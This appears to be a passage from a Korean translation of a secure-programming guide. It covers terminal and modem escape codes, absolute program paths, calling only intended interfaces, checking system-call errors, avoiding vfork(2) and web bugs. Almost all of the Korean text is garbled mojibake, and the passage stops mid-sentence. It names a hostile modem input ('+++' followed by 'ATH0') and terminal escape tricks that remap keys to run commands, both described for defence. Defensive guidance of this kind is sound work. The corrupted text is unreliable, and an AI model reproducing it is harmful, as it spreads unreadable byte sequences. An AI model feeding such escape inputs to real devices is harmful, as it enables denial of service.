½ÇÇà½Ã۵µ·Ï Çã¿ëÇÏ´Â "escape" ¸ÞÄ«´ÏÁòÀ» °®°í ÀÖ´Ù. À̽ºÄÉÀÌÇÁ ¸ÞÄ«´ÏÁòÀ» °Ë»öÇϱâ À§Çؼ­´Â È£ÃâÇÏ´Â ÇÁ·Î±×·¥µéÀÇ ¹®¼­µéÀ» ´Ã Á¶»çÇØ¶ó. ´Ù¸¥ ÇÁ·Î±×·¥¿¡ ÀÇÇØ »ç¿ëµÉ ÇÁ·Î±×·¥¸¸À» È£ÃâÇÏ´Â °ÍÀÌ ÃÖ¼±ÀÌ´Ù; 7.3절 ¸¦ º¸¶ó.

À̽ºÄÉÀÌÇÁ ÄÚµåµéÀ» ÇÇÇÏ´Â ¹®Á¦´Â ´õ¿í Àú¼öÁØ Çϵå¿þ¾î ÄÄÆ÷³ÍÆ®µé°ú À̵éÀÇ ¿¡¹Ä·¹ÀÌÅ͵é·Î ³»·Á°£´Ù. ´ëºÎºÐÀÇ ¸ðµ©µéÀº ¼ÒÀ§ "Hayes" Ä¿¸Çµå¼ÂÀ» ±¸ÇöÇϴµ¥ ÀÌ Ä¿¸Çµå¼ÂÀÌ ±ÝÁöµÇÁö ¾Ê´Â´Ù¸é ¹®±¸ ``+++" ÀÎ Áö¿¬ ¹× ´Ù¸¥ Áö¿¬À» ¾ß±âÇØ ¸ðµ©¿¡°Ô ¸ðµç ´ÙÀ½ÀÇ ÅØ½ºÆ®¸¦ ¸ðµ©¿¡ ´ëÇÑ ¸í·Éµé·Î ÇØ¼®ÇϰԲû ÇÑ´Ù. ÀÌ´Â ¼­ºñ½º ºÎÀÎ °ø°Ý (´ÜÀý ¸í·É¾î ``ATH0" ¸¦ ¼³Á¤ÇÔÀ¸·Î½á) ¶Ç´Â »ç¿ëÀÚ¿¡°Ô ´Ù¸¥ ´©±º°¡¿¡ ¿¬°áÇϵµ·Ï ÇÏ´Â °ÍÀ» ±¸ÇöÇϴµ¥ »ç¿ëµÉ ¼ö ÀÖ´Ù (»ó±Þ °ø°ÝÀÚ´Â ÀÚ½ÅÀÇ Á¦¾îÇÏ¿¡ ÀÖ´Â ¸Ó½ÅÀ» ÅëÇØ »ç¿ëÀÚ°¡ ¿¬°áÇϵµ·Ï ¶ó¿ìÆÃ ¼³Á¤À» ´Ù½Ã ÇÒ ¼ö ÀÖ´Ù). ƯÁ¤ ¸ðµ©ÀÇ °æ¿ì ÀÌ¿¡ ´ëóÇÏ´Â °ÍÀº ½±Áö¸¸ (¿¹, ¸ðµ© ÃʱâÈ­ ¹®ÀÚ¿­¿¡ ``ATS2-255" ¸¦ Ãß°¡ÇÑ´Ù) ¾ÆÁ÷µµ ÀϹÝÀûÀÎ ¹®Á¦´Â ³²¾ÆÀÖ´Ù: ÇÏÀ§ ¼öÁØ ÄÄÆ÷ÅÏÆ® ¶Ç´Â ÀÌÀÇ ¿¡¹Ä·¹À̼ÇÀ» Á¦¾îÇϰí ÀÖ´Ù¸é ¹Ýµå½Ã Ä¿¸Çµå¼ÂÀ» ±ÝÁöÇϰųª ±×·¸Áö ¾ÊÀº °æ¿ì ³»ÀåµÇ¾î ÀÖ´Â ¸ðµç À̽ºÄÉÀÌÇÁ Äڵ带 ´Ù·ç¾î¾ß ÇÑ´Ù.

¸¹Àº "Å͹̳Î" ÀÎÅÍÆäÀ̽ºµéÀº VT-100 °°Àº ¿¹ÀüÀÇ ¿À·¡Àü¿¡ »ç¶óÁø ¹°¸®Àû Å͹̳ÎÀÇ À̽ºÄÉÀÌÇÁ ÄÚµåµéÀ» ±¸ÇöÇÑ´Ù. ÀÌ·¯ÇÑ ÄÚµåµéÀº À¯¿ëÇÒ ¼ö Àִµ¥ ¿¹¸¦ µé¾î ¹®ÀÚ¸¦ ±½°Ô Çϱâ, ÆùÆ®»ö º¯°æÇϱ⠶Ǵ Å͹̳ΠÀÎÅÍÆäÀ̽º³»¿¡¼­ Ưº°ÇÑ À§Ä¡·Î À̵¿Çϴµ¥ À¯¿ëÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª ÀÓÀÇÀÇ ½Å·ÚµÇÁö ¾ÊÀº µ¥ÀÌŸ°¡ Å͹̳Π½ºÅ©¸°À¸·Î Á÷Á¢ º¸³»Áöµµ·Ï Çã¿ëÇÏÁö ¸¶¶ó ¿Ö³ÄÇϸé ÀÌ·¯ÇÑ ÄÚµåµéÀÇ ÀϺΰ¡ ½É°¢ÇÑ ¹®Á¦¸¦ ÀÏÀ¸Å³ ¼ö Àֱ⠶§¹®ÀÌ´Ù. ¾î¶² ½Ã½ºÅÛ¿¡¼­ ۵éÀ» ´Ù½Ã ¹èÄ¡ÇÒ ¼ö ÀÖ´Ù (¿¹, µû¶ó¼­ »ç¿ëÀÚ°¡ "¿£ÅÍ" ¶Ç´Â function ۸¦ ´©¸¦¶§ ÀÌ´Â ½ÇÇà½ÃŰ±æ ¿øÇÏ´Â ¸í·ÉÀ» º¸³½´Ù). ¾î¶² ½Ã½ºÅÛ¿¡¼­´Â ½ºÅ©¸°À» Áö¿ì°í victim ÀÌ ½ÇÇà½ÃÄ×À¸¸é ÇÏ´Â ÀÏ·ÃÀÇ ¸í·ÉµéÀ» Ç¥½ÃÇÑ ÈÄ ÀÌµé ¸í·É¼ÂÀ» ´Ù½Ã µ¹·Áº¸³» victim ¿¡°Ô Ű½ºÆ®·ÎÅ©¸¦ ±â´Ù¸®Áö ¾Ê°í °ø°ÝÀÚ°¡ ¼±ÅÃÇÑ ¸í·ÉµéÀ» ½ÇÇà½ÃŰ°Ô ÇÏ´Â Äڵ带 º¸³¾ ¼öµµ ÀÖ´Ù. ÀÌ´Â "ÆäÀÌÁö ¸ðµå ¹öÆÛ¸µ" À» »ç¿ëÇØ¼­ ÀϹÝÀûÀ¸·Î ±¸ÇöµÇ´Âµ¥ ÀÌ·¯ÇÑ º¸¾È ¹®Á¦°¡ ¿Ö ¿¡¹Ä·¹ÀÌÆ®µÈ tty (º¸Åë /dev/ ³»ÀÇ µð¹ÙÀ̽º ÆÄÀϵé·Î Ç¥ÇöµÇ´Â) µéÀÌ À̵éÀÇ ¼ÒÀ¯Àڵ鿡°Ô¸¸ ¾²±â°¡´ÉÇÏ¸ç ´Ù¸¥ ´©±¸¿¡°Ôµµ Çã¿ëµÇÁö ¾Ê´Â ÀÌÀ¯ÀÌ´Ù - À̵éÀº Àý´ë·Î "other write", Çã°¡±ÇÀÌ ¼³Á¤µÇ¾î¼­´Â ¾ÈµÇ¸ç ´ÜÁö »ç¿ëÀÚ¸¸ÀÌ ±×·ìÀÇ ¸â¹ö°¡ ¾Æ´Ï¶ó¸é (Áï, "user-private group" ½ºÅ´ÀÌ ¾Æ´Ï¶ó¸é) "group write" Çã°¡±ÇÀÌ Å͹̳ο¡ ´ëÇØ ¼³Á¤µÇÁö ¾Ê¾Æ¾ß ÇÑ´Ù [Filipski 1986]. ¸ð»çµÈ Å͹̳ο¡¼­ »ç¿ëÀÚ¿¡°Ô µ¥ÀÌŸ¸¦ Ç¥½ÃÇÏ·Á¸é »ç¿ëÀÚ¿¡°Ô µÇº¸³»Áö´Â µ¥ÀÌŸÀÇ ¸ðµç Á¦¾î ¹®ÀÚ (32 ¹Ì¸¸ÀÇ °ªÀ» °®´Â ¹®ÀÚ) µéÀº ¾ÈÀüÇÏ´Ù°í È®ÀεÇÁö ¾Ê´Â´Ù¸é ¾Æ¸¶µµ ÇÊÅ͸µµÇ¾î Á¦°ÅµÉ Çʿ䰡 ÀÖ´Ù. ³ª»Û °ÍÀº ´õ¿í ¾ÇÈ­µÇ´Âµ¥ Åǰú °³Çà (°ú ¾Æ¸¶µµ carriage return) ÀÌ ¾ÈÀüÇÏ´Ù°í ½Äº°ÇÒ ¼ö ÀÖÀ¸¸ç ³ª¸ÓÁö´Â ¸ðµÎ Á¦°ÅÇÑ´Ù. high ºñÆ®°¡ ¼³Á¤µÈ ¹®ÀÚ (127 º¸´Ù Å« °ª) µéÀº ¾î¶² ¹æ½Ä¿¡¼­´Â ´Ù·ç±â°¡ ´õ¿í ¾î·Æ´Ù; ¾î¶² ¿¹Àü ½Ã½ºÅÛµéÀº À̵éÀÌ ¼³Á¤µÇÁö ¾ÊÀº °Íó·³ À̵éÀ» ´Ù·çÁö¸¸ ´Ü¼øÈ÷ À̵éÀ» ÇÊÅ͸µÇÏ´Â °ÍÀº ¸¹Àº ±¹Á¦Àû »ç¿ëÀ» ±ÝÁöÇÑ´Ù. ÀÌ·± °æ¿ì ¸íÈ®ÇÑ »óȲÀ» »ìÆìº¼ Çʿ䰡 ÀÖ´Ù.

°ü·Ã ¹®Á¦´Â NIL ¹®ÀÚ (¹®ÀÚ 0) °¡ ¿¹±âÄ¡ ¾ÊÀº È¿°ú¸¦ °¡Áú ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ´ëºÎºÐÀÇ C ¿Í C++ ÇÔ¼öµéÀº ÀÌ ¹®ÀÚ°¡ ¹®ÀÚ¿­ÀÇ ³¡À» Ç¥½ÃÇÑ´Ù°í °¡Á¤ÇÏÁö¸¸ ´Ù¸¥ ¾ð¾î (ÆÞ°ú Ada95¿Í °°Àº) µé¿¡¼­´Â ¹®ÀÚ¿­À» ´Ù·ç´Â ·çƾµéÀÌ NIL À» Æ÷ÇÔÇÑ ¹®ÀÚ¿­µéÀ» ´Ù·ê ¼ö ÀÖ´Ù. ¸¹Àº ¶óÀ̺귯¸®µé°ú Ä¿³Î È£ÃâµéÀÌ C °ü·Ê¸¦ »ç¿ëÇϱ⠶§¹®¿¡ °á°úÀûÀ¸·Î °Ë»çµÈ °ÍÀÌ ½ÇÁ¦ »ç¿ëµÈ °ÍÀº ¾Æ´Ï´Ù [rfp 1999].

´Ù¸¥ ÇÁ·Î±×·¥À» È£ÃâÇϰųª ÆÄÀÏÀ» ÂüÁ¶ÇÒ¶§´Â ´Ã Àý´ë °æ·Î (¿¹, /usr/bin/sort) ¸¦ ÁöÁ¤Çضó. ÇÁ·Î±×·¥ È£ÃâÀÇ °æ¿ì ÀÌ´Â PATH °ªÀÌ À߸ø ¼³Á¤µÇ¾î ÀÖ´õ¶óµµ À߸øµÈ ¸í·ÉÀ» È£ÃâÇÒ ¶§ÀÇ °¡´ÉÇÑ ¿¡·¯µéÀ» Á¦°ÅÇÒ °ÍÀÌ´Ù. ´Ù¸¥ ÆÄÀÏ ÂüÁ¶ÀÇ °æ¿ì ÀÌ´Â ¿Ã¹Ù¸£Áö ¾ÊÀº ½ÃÀÛ µð·ºÅ丮·ÎºÎÅÍ ¹ß»ýÇÏ´Â ¹®Á¦µéÀ» ÁÙÀδÙ.


7.3. ÇÁ·Î±×·¡¸Ó°¡ »ç¿ëÇϵµ·Ï ÀǵµµÈ ÀÎÅÍÆäÀ̽º¸¸ È£ÃâÇØ¶ó

ÇÁ·Î±×·¥ÀÌ »ç¿ëÇϵµ·Ï ÀǵµµÈ API (application programming interface) ¸¸ È£ÃâÇØ¶ó. º¸Åë ÇÁ·Î±×·¥Àº ´ëÈ­½Ä ÇÁ·Î±×·¥µéÀ» Æ÷ÇÔÇÏ¿© ¸ðµç ´Ù¸¥ ÇÁ·Î±×·¥µéÀ» È£ÃâÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª Àΰ£ÀÌ È£ÃâÇÏ´Â ¹æ½Ä°ú µ¿ÀÏÇÏ°Ô ´ëÈ­½Ä ÇÁ·Î±×·¥À» È£ÃâÇÏ´Â °ÍÀº º¸Åë Çö¸íÇÏÁö ¾Ê´Ù. ¹®Á¦´Â ÇÁ·Î±×·¥ÀÇ human ÀÎÅÍÆäÀ̽ºµéÀÌ ÀǵµÀûÀ¸·Î ±â´É¼ºÀÌ Ç³ºÎÇϸç Á¾Á¾ ¿ÏÀüÈ÷ Á¦¾îÇÏ±â ¾î·Æ´Ù´Â °ÍÀÌ´Ù. 7.2절 ¿¡ ³íÀǵǾúµíÀÌ ´ëÈ­½Ä ÇÁ·Î±×·¥µéÀº ´ë°³ "escape" ÄÚµåµéÀ» °®À¸¸ç ÀÌ´Â °ø°ÝÀÚ°¡ ÇØ·Î¿î ±â´ÉµéÀ» ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. ¶ÇÇÑ ´ëÈ­½Ä ÇÁ·Î±×·¥µéÀº ´ë°³ "°¡Àå ±×·²µíÇÑ (most likely)" µðÆúÆ®µéÀ» Á÷°¨À¸·Î ¾Ë·Á°í ÇÑ´Ù; ÀÌ´Â ¿¹»óÇß´ø µðÆúÆ®°¡ ¾Æ´Ò ¼öµµ ÀÖÀ¸¸ç °ø°ÝÀÚ±â À̸¦ ¾Ç¿ëÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀ» ¹ß°ßÇÒ ¼öµµ ÀÖ´Ù.

º¸Åë Á÷Á¢ÀûÀ¸·Î È£ÃâÇÏÁö ¾Ê¾Æ¾ß ÇÏ´Â ÇÁ·Î±×·¥µéÀº mail, mailx, ed, vi ¿Í emacs µîÀÌ ÀÖ´Ù. ÃÖ¼ÒÇÑ À̵éÀÇ ÀÔ·ÂÀ» óÀ½¿¡ °Ë»çÇÑ ÈÄ À̵éÀ» È£ÃâÇØ¶ó.

º¸Åë ÇÁ·Î±×·¥ÀÇ ±â´É¼º¿¡ º¸´Ù ¾ÈÀüÇÑ Á¢±ÙÀ» Á¦°øÇÏ´Â ¸Å°³º¯¼öµé ¶Ç´Â ÇÁ·Î±×·¥ÀÌ »ç¿ëÇϵµ·Ï ÀǵµµÈ ¿©·¯ API ¶Ç´Â ¾ÖÇø®ÄÉÀ̼ÇÀÌ ÀÖ´Ù; ´ë½Å À̵éÀ» »ç¿ëÇØ¶ó. ¿¹¸¦ µé¾î ¾î¶² ÅØ½ºÆ®¸¦ ÆíÁýÇϱâ À§ÇØ ÅØ½ºÆ® ¿¡µðÅÍ (ed, vi ¶Ç´Â emacs) ¸¦ È£ÃâÇÏ´Â ´ë½Å °¡´ÉÇÑ sed ¸¦ »ç¿ëÇØ¶ó.


7.4. ¸ð½¼ ½Ã½ºÅÛ È£Ãâ ¹ÝȯÀ» °Ë»çÇØ¶ó

¿¡·¯ »óŸ¦ ¹ÝȯÇÒ ¼ö ÀÖ´Â ¸ðµç ½Ã½ºÅÛ È£ÃâÀº ±× ¿¡·¯ »óŸ¦ °Ë»çÇØ¾ß ÇÑ´Ù. ÇѰ¡Áö ÀÌÀ¯´Â °ÅÀÇ ¸ðµç ½Ã½ºÅÛ È£ÃâµéÀÌ Á¦ÇÑµÈ ½Ã½ºÅÛ ÀÚ¿øµéÀ» ÇÊ¿ä·Î ÇÏ¸ç »ç¿ëÀÚµéÀº ´ë°³ ´Ù¾çÇÑ ¹æ½ÄÀ¸·Î ÀÚ¿øµé¿¡ ¿µÇâÀ» ¹ÌÄ¥ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. Setuid/setgid ÇÁ·Î±×·¥µéÀº setrlimit(3) °ú nice(2) ¿Í °°Àº È£ÃâµéÀ» ÅëÇØ ±×µé¿¡ ´ëÇÑ Çѵµ¸¦ ¼³Á¤ÇÒ ¼ö ÀÖ´Ù. ¼­¹ö ÇÁ·Î±×·¥µé°ú CGI ½ºÅ©¸³Æ®µéÀÇ ¿ÜºÎ »ç¿ëÀÚµéÀÌ ´Ü¼øÈ÷ ¸¹Àº ¼öÀÇ µ¿½Ã ¿äûÀ» ÇÔÀ¸·Î½á ÀÚ¿ø °í°¥À» ÀÏÀ¸Å³ ¼ö ÀÖÀ»Áöµµ ¸ð¸¥´Ù. ¿¡·¯°¡ ÈǸ¢È÷ ´Ù·ïÁú ¼ö ¾ø´Ù¸é ¾Õ¿¡¼­ ³íÀÇÇÑ ¹Ù¿Í °°ÀÌ ¿¡·¯¸¦ ÇÑ ºÎºÐ¿¡ ±¹ÇѽÃÄÑ Àüü ½Ã½ºÅÛÀÌ ¿ÏÀüÈ÷ ¸¶ºñµÇ´Â °ÍÀ» ¹æÁöÇÏ°í ¼öÇàÀ» °è¼ÓÇÒ ¼ö ÀÖµµ·Ï ÇØ¶ó.


7.5. vfork(2) »ç¿ëÀ» ÇÇÇØ¶ó

À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ »õ·Î¿î ÇÁ·Î¼¼½º¸¦ »ý¼ºÇÏ´Â À̽ļº ÀÖ´Â ¹æ¹ýÀº fork(2) È£ÃâÀ» »ç¿ëÇÏ´Â °ÍÀÌ´Ù. BSD ´Â ÃÖÀûÈ­ ±â¹ýÀ¸·Î vfork(2) ¶ó´Â º¯ÇüÀ» µµÀÔÇÏ¿´´Âµ¥ vfork(2) ¿¡¼­´Â fork(2) ¿Í´Â ´Þ¸® ÀÚ½ÄÀº execve(2V) ¶Ç´Â exit È£ÃâÀÌ ÀϾ ¶§±îÁö ºÎ¸ðÀÇ Á¦¾î ¸Þ¸ð¸®¿Í ¾²·¹µå¸¦ ºô¸°´Ù; ºÎ¸ð ÇÁ·Î¼¼½º´Â ÀϽà Á¤ÁöµÈ ¹Ý¸é ÀÚ½ÄÀº ±× ÀÚ¿øµéÀ» »ç¿ëÇϰí ÀÖ´Ù. ¿¹Àü BSD ½Ã½ºÅÛ¿¡¼­ fork(2) °¡ ½ÇÁ¦·Î ¸Þ¸ð¸®°¡ º¹»çµÇµµ·Ï ÇÒ ¼ö ÀÖ´Â ¹Ý¸é vfork(2) ´Â ±×·¸Áö ¾ÊÀ» °ÍÀÌ´Ù¶ó´Â °ÍÀÌ ±Ùº»Àû ÀÌÀ¯¿´´Ù. ¸®´ª½º´Â ÀüÇô ÀÌ·¯ÇÑ ¹®Á¦°¡ ¾ø¾ú´Ù; ¸®´ª½º´Â copy-on-write (write ÇÏ´Â µ¿¾È º¹»ç) ÀÇ¹Ì Ã¼°è¸¦ ³»ºÎÀûÀ¸·Î »ç¿ëÇ߱⠶§¹®¿¡ ÆäÀÌÁöµéÀÌ º¯°æµÇ¾úÀ» ¶§¸¸ ´ÜÁö À̵éÀ» º¹»çÇÑ´Ù (½ÇÁ¦·Î º¹»çµÇ¾î¾ß ÇÏ´Â ¾î¶² Å×À̺íÀÌ Àִµ¥ ´ëºÎºÐ »óȲ¿¡¼­ À̵éÀÇ ¿À¹öÇìµå°¡ Å«ÆíÀº ¾Æ´Ï´Ù). ±×·³¿¡µµ ºÒ±¸ÇÏ°í ¾î¶² ÇÁ·Î±×·¥µéÀº vfork(2) ¿¡ ÀÇÁ¸Çϱ⠶§¹®¿¡ ÃÖ±Ù ¸®´ª½º´Â BSD vfork(2) ÀÇ¹Ì Ã¼°è¸¦ ±¸ÇöÇÏ¿´´Ù (ÀÌÀü vfork(2) ´Â fork(2) ÀÇ alias ¿´´Ù).

vfork(2) ¿Í °ü·ÃÇØ¼­´Â ¸¹Àº ¹®Á¦°¡ ÀÖ´Ù. À̽ļº °üÁ¡¿¡¼­ º¸¾ÒÀ» ´ë vfork(2) ¿Í °ü·ÃµÈ ¹®Á¦´Â ÇÁ·Î¼¼½º°¡ ±× ºÎ¸ð¸¦ °£¼·ÇÏÁö ¾Ê´Â °ÍÀÌ Æ¯È÷ °í¼öÁØ ¾ð¾î¿¡¼­ ½ÇÁ¦·Î ¸Å¿ì ¾î·Æ´Ù´Â °ÍÀÌ´Ù. °£¼·ÇÏÁö ¾Ê´Â´Ù´Â ¿ä°ÇÀº ½ÇÁ¦ »ý¼ºµÈ ¸Ó½Å Äڵ忡 Àû¿ëµÇ¸ç ¸¹Àº ÄÄÆÄÀÏ·¯µéÀº ÀǵµµÇÁö ¾ÊÀº °£¼·À» ÀÏÀ¸Å°´Â ¼û°ÜÁø temporaries ¿Í ´Ù¸¥ ÄÚµå ±¸Á¶µéÀ» »ý¼ºÇÑ´Ù. °á°ú: vfork(2) ¸¦ »ç¿ëÇÏ´Â ÇÁ·Î±×·¥µéÀº Äڵ尡 º¯°æµÉ ¶§ ¶Ç´Â ÄÄÆÄÀÏ·¯ ¹öÀüÀÌ º¯°æµÉ ¶§ ´õ¿í ½ÇÆÐÇϱ⠽¬¿ï °ÍÀÌ´Ù.

º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÇ °æ¿ì ¸®´ª½º (Àû¾îµµ 2.2.17 ±îÁöÀÇ 2.2 ¹öÀüµé) ´Â vfork() ±¸Çö¿¡ ÀÖ¾î °æÀï »óÅ¿¡ Ãë¾àÇϱ⠶§¹®¿¡ ¸®´ª½º ½Ã½ºÅÛ¿¡¼­´Â ´õ¿í ³ª»Ú´Ù. ±ÇÇÑÀ» °®´Â ÇÁ·Î¼¼½º°¡ »ç¿ëÀÚ ¸í·ÉµéÀ» ½ÇÇà½Ã۱â À§ÇØ ¸®´ª½º¿¡¼­ vfork(2)/execve(2) ½ÖÀ» »ç¿ëÇÑ´Ù¸é ÀÚ½Ä ÇÁ·Î¼¼½º°¡ »ç¿ëÀÚÀÇ UID ·Î ÀÌ¹Ì ÀÛµ¿Çϰí ÀÖÁö¸¸ ¾ÆÁ÷ execve(2) ·Î µé¾î°¡Áö ¾Ê´Â µ¿¾È °æÀï »óŰ¡ Á¸ÀçÇÑ´Ù. »ç¿ëÀÚ´Â ÀÌ ÇÁ·Î¼¼½º¿¡ SIGSTOP ¸¦ Æ÷ÇÔÇÑ ½Ã±×³ÎµéÀ» º¸³¾ ¼ö ÀÖÀ»Áöµµ ¸ð¸¥´Ù. vfork(2) ÀÇ ÀÇ¹Ì Ã¼°è¶§¹®¿¡ ±ÇÇÑÀ» °®´Â ºÎ¸ð ÇÁ·Î¼¼½ºµµ ¶ÇÇÑ ºí·Ï´çÇÒ ¼ö ÀÖ´Ù. ±× °á°ú ±ÇÇÑÀÌ ¾ø´Â ÇÁ·Î¼¼½º°¡ ±ÇÇÑÀ» °®´Â ÇÁ·Î¼¼½º¿¡°Ô Á¤ÁöÇϵµ·Ï ½Ãų ¼ö ÀÖÀ¸¸ç ±ÇÇÑÀ» °®´Â ÇÁ·Î¼¼½ºÀÇ ¼­ºñ½º¿¡ ´ëÇØ ¼­ºñ½º ºÎÀÎ °ø°ÝÀ» ÃÊ·¡ÇÒ °ÍÀÌ´Ù. FreeBSD ¿Í OpenBSD ´Â Àû¾îµµ ÀÌ·± °æ¿ì¸¦ ¸íÈ®ÇÏ°Ô ´Ù·ç´Â Äڵ带 °®°í ÀÖÀ¸¸ç µû¶ó¼­ ÀúÀÚ°¡ ¾Ë±â¿¡ ÀÌ·¯ÇÑ ¹®Á¦¿¡ Ãë¾àÇÏÁö ¾Ê´Ù. ¸®´ª½º¿¡¼­ ÀÌ ¹®Á¦¸¦ ¾ð±ÞÇϰí "security-audit" ¸ÞÀϸµ ¸®½ºÆ®¿¡ 2000³â 9¿ù¿¡ ¹®¼­È­ÇÑ ÇÑ Solar Designer ¿¡ °¨»çÇÑ´Ù.

vfork(2) ¿¡ ´ëÇÑ ÃÖÁ¾ °á°ú´Â °£´ÜÇÏ´Ù: ÇÁ·Î±×·¥¿¡¼­ vfork(2) ¸¦ »ç¿ëÇÏÁö ¸¶¶ó. ÀÌ´Â ¾î·ÆÁö ¾Ê¾Æ¾ß ÇÑ´Ù; vfork(2) ÀÇ ±âº»ÀûÀÎ »ç¿ëÀº vfork ÀÇ ÀÇ¹Ì Ã¼°è¸¦ ÇÊ¿ä·Î ÇÏ´Â ¿¹Àü ÇÁ·Î±×·¥À» Áö¿øÇÏ´Â °ÍÀÌ´Ù.


7.6. ³»ÀåµÈ ÄÁÅÙÆ®¸¦ °Ë»öÇÒ ¶§ À¥¹ö±×¿¡ ´ëÃ³ÇØ¶ó

¸î¸î µ¥ÀÌŸ Æ÷¸ËµéÀº µ¥ÀÌŸ°¡ º¸ÀÏ ¶§ ÀÚµ¿ÀûÀ¸·Î °Ë»öµÇ´Â ÄÁÅÙÆ®¿¡ ÂüÁ¶¸¦ ³»ÀåÇÒ ¼ö ÀÖ´Ù (»ç¿ëÀÚ°¡ À̸¦ ¼±ÅÃÇÏ´Â °ÍÀ» ±â´Ù¸®Áö ¾Ê´Â´Ù). ÀÌ µ¥ÀÌŸ°¡ ÀÎÅͳÝÀ» ÅëÇØ °Ë»öµÇµµ·Ï ÇÒ ¼ö ÀÖ´Ù¸é (¿¹, WWW ¸¦ ÅëÇØ) ÀÌ ´É·ÂÀ» ÀÌ¿ëÇØ¼­ readers °¡ ¸ð¸£°Ô readers ¿¡ ´ëÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖÀ¸¸ç ¾î¶² °æ¿ì reader ¿¡°Ô µ¿ÀǾøÀÌ ±â´ÉÀ» ¼öÇàÇϵµ·Ï ½Ãų ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ »ç»ýȰ°ú °ü·ÃµÈ ¹®Á¦¸¦ ¶§¶§·Î "À¥ ¹ö±× (web bug)" ¶ó°í ºÎ¸¥´Ù.

À¥ ¹ö±×¿¡¼­ ÂüÁ¶´Â ÀǵµÀûÀ¸·Î ¹®¼­¿¡ »ðÀÔµÇ¸ç ¹®¼­°¡ ¾îµð¿¡¼­ ÀÐÇôÁö¸ç ¾ó¸¶³ª ÀÚÁÖ ÀÐÇôÁö´Â Áö¸¦ ÃßÀûÇϱâ À§ÇØ ÄÁÅÙÆ® ÀúÀÚ¿¡ ÀÇÇØ »ç¿ëµÉ ¼ö ÀÖ´Ù. ÀúÀÚ´Â ¶ÇÇÑ ¹ö±×°¡ ÀÖ´Â ¹®¼­°¡ ÇÑ »ç¶÷¿¡¼­ ´Ù¸¥ »ç¶÷ ¶Ç´Â ÇÑ Á¶Á÷¿¡¼­ ´Ù¸¥ Á¶Á÷À¸·Î ¾î¶»°Ô °Ç³×Áö´Â Áö¸¦ °¨½ÃÇÒ ¼ö ÀÖ´Ù.

HTML Æ÷¸ËÀº ¾ó¸¶µ¿¾È ÀÌ ¹®Á¦¸¦ °®°í ÀÖ¾ú´Ù. Privacy Foundation ¿¡ µû¸£¸é:

À¥ ¹ö±×µéÀº ÃßÀûÀ» À§ÇØ À¥ ÆäÀÌÁö¿Í HTML ±â¹Ý À̸ÞÀÏ ¸Þ¼¼Áö¿¡¼­ ÀÎÅÍ³Ý ±¤°í ȸ»çµé¿¡ ÀÇÇØ ¿À´Ã³¯ ³Î¸® »ç¿ëµÇ°í ÀÖ´Ù. À̵éÀº ÀϹÝÀûÀ¸·Î ÃßÀû¿¡ »ç¿ëµÇ°í ÀÖ´Ù´Â »ç½ÇÀ» °¨Ãß±â À§ÇØ ½ºÅ©¸°»ó¿¡¼­ º¼ ¼ö ¾øµµ·Ï ÀüÇüÀûÀ¸·Î 1 by 1 Çȼ¿ Å©±âÀÌ´Ù. ±×·¯³ª img ű׸¦ »ç¿ëÇÑ À̹ÌÁöÀÏ ¼öµµ ÀÖ´Ù; À¥ ¹ö±×¸¦ ±¸ÇöÇÒ ¼ö ÀÖ´Â ´Ù¸¥ HTML ű׵éÀº ¿¹¸¦ µé¸é frame, form È£Ãâ ¹× script µéÀÌ´Ù. À¥ ¹ö±×¸¦ È£ÃâÇÏ´Â °ÍÀº ``bugging" »çÀÌÆ®¿¡ reader IP ÁÖ¼Ò, ¹æ¹®ÇÑ ÆäÀÌÁö ¹× ºê¶ó¿ìÀú¿¡ °üÇÑ ´Ù¾çÇÑ Á¤º¸¸¦ Á¦°øÇÒ °ÍÀÌ´Ù; ¶ÇÇÑ Äí۸¦ »ç¿ëÇÔÀ¸·Î½á reader ÀÇ ¸íÈ®ÇÑ ½Å¿øÀ» °áÁ¤ÇÒ ¼öµµ ÀÖ´Ù. À¥ ¹ö±×¿¡ °üÇÑ °³·ÐÀº http://www.securityspace.com/s_survey/data/man.200102/webbug.html ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

´õ¿í Áß¿äÇÑ °ÍÀº ´Ù¸¥ ¹®¼­ Æ÷¸Ëµéµµ ¶ÇÇÑ ±×·¯ÇÑ ´É·ÂÀ» °¡Áö°í ÀÖ´Â µíÇÏ´Ù´Â °ÍÀÌ´Ù. À¥ ºê¶ó¿ìÀú·Î À¥»çÀÌÆ®ÀÇ HTML À» º¼ ¶§ µ¥ÀÌŸ¸¦ ´©°¡ º¸°í ÀÖ´ÂÁö¿¡ ´ëÇÑ Á¤º¸¸¦ ¾ò´Â ´Ù¸¥ ¹æ¹ýÀÌ ÀÖÁö¸¸ À̸ÞÀϰú °°ÀÌ ´Ù¸¥ Æ÷¸ËÀÇ ¹®¼­¸¦ º¸°í ÀÖÀ» ¶§´Â ¹®¼­¸¦ Àд´ٴ »ç½Ç ÀÚü°¡ ¸ð´ÏÅ͸µ µÉ ¼ö ÀÖ´Ù°í ¿¹»óÇÏ´Â »ç¿ëÀÚµéÀº ¾Æ¹«µµ ¾ø´Ù. ±×·¯³ª ¸¹Àº Æ÷¸ËµéÀÇ °æ¿ì ¹®¼­¸¦ ÀдÂÁö ¸ð´ÏÅ͸µ µÉ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ¸¶ÀÌÅ©·Î¼ÒÇÁÆ® ¿öµå°¡ À¥ ¹ö±×¸¦ Áö¿øÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ ÃÖ±Ù¿¡ °áÁ¤µÇ¾ú´Ù; ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â Privacy Foundation advisory ¸¦ º¸¶ó. ±Ç°í¾È¿¡ ¾ð±ÞµÇ¾úµíÀÌ ¸¶ÀÌÅ©·Î¼ÒÇÁÆ® ¿¢¼¿°ú ÆÄ¿öÆ÷ÀÎÆ®ÀÇ ÃÖ±Ù ¹öÀüµéµµ ¶ÇÇÑ ÀÌ·¯ÇÑ À¥ ¹ö±×°¡ ÀÖÀ» ¼ö ÀÖ´Ù. ¾î¶² °æ¿ì 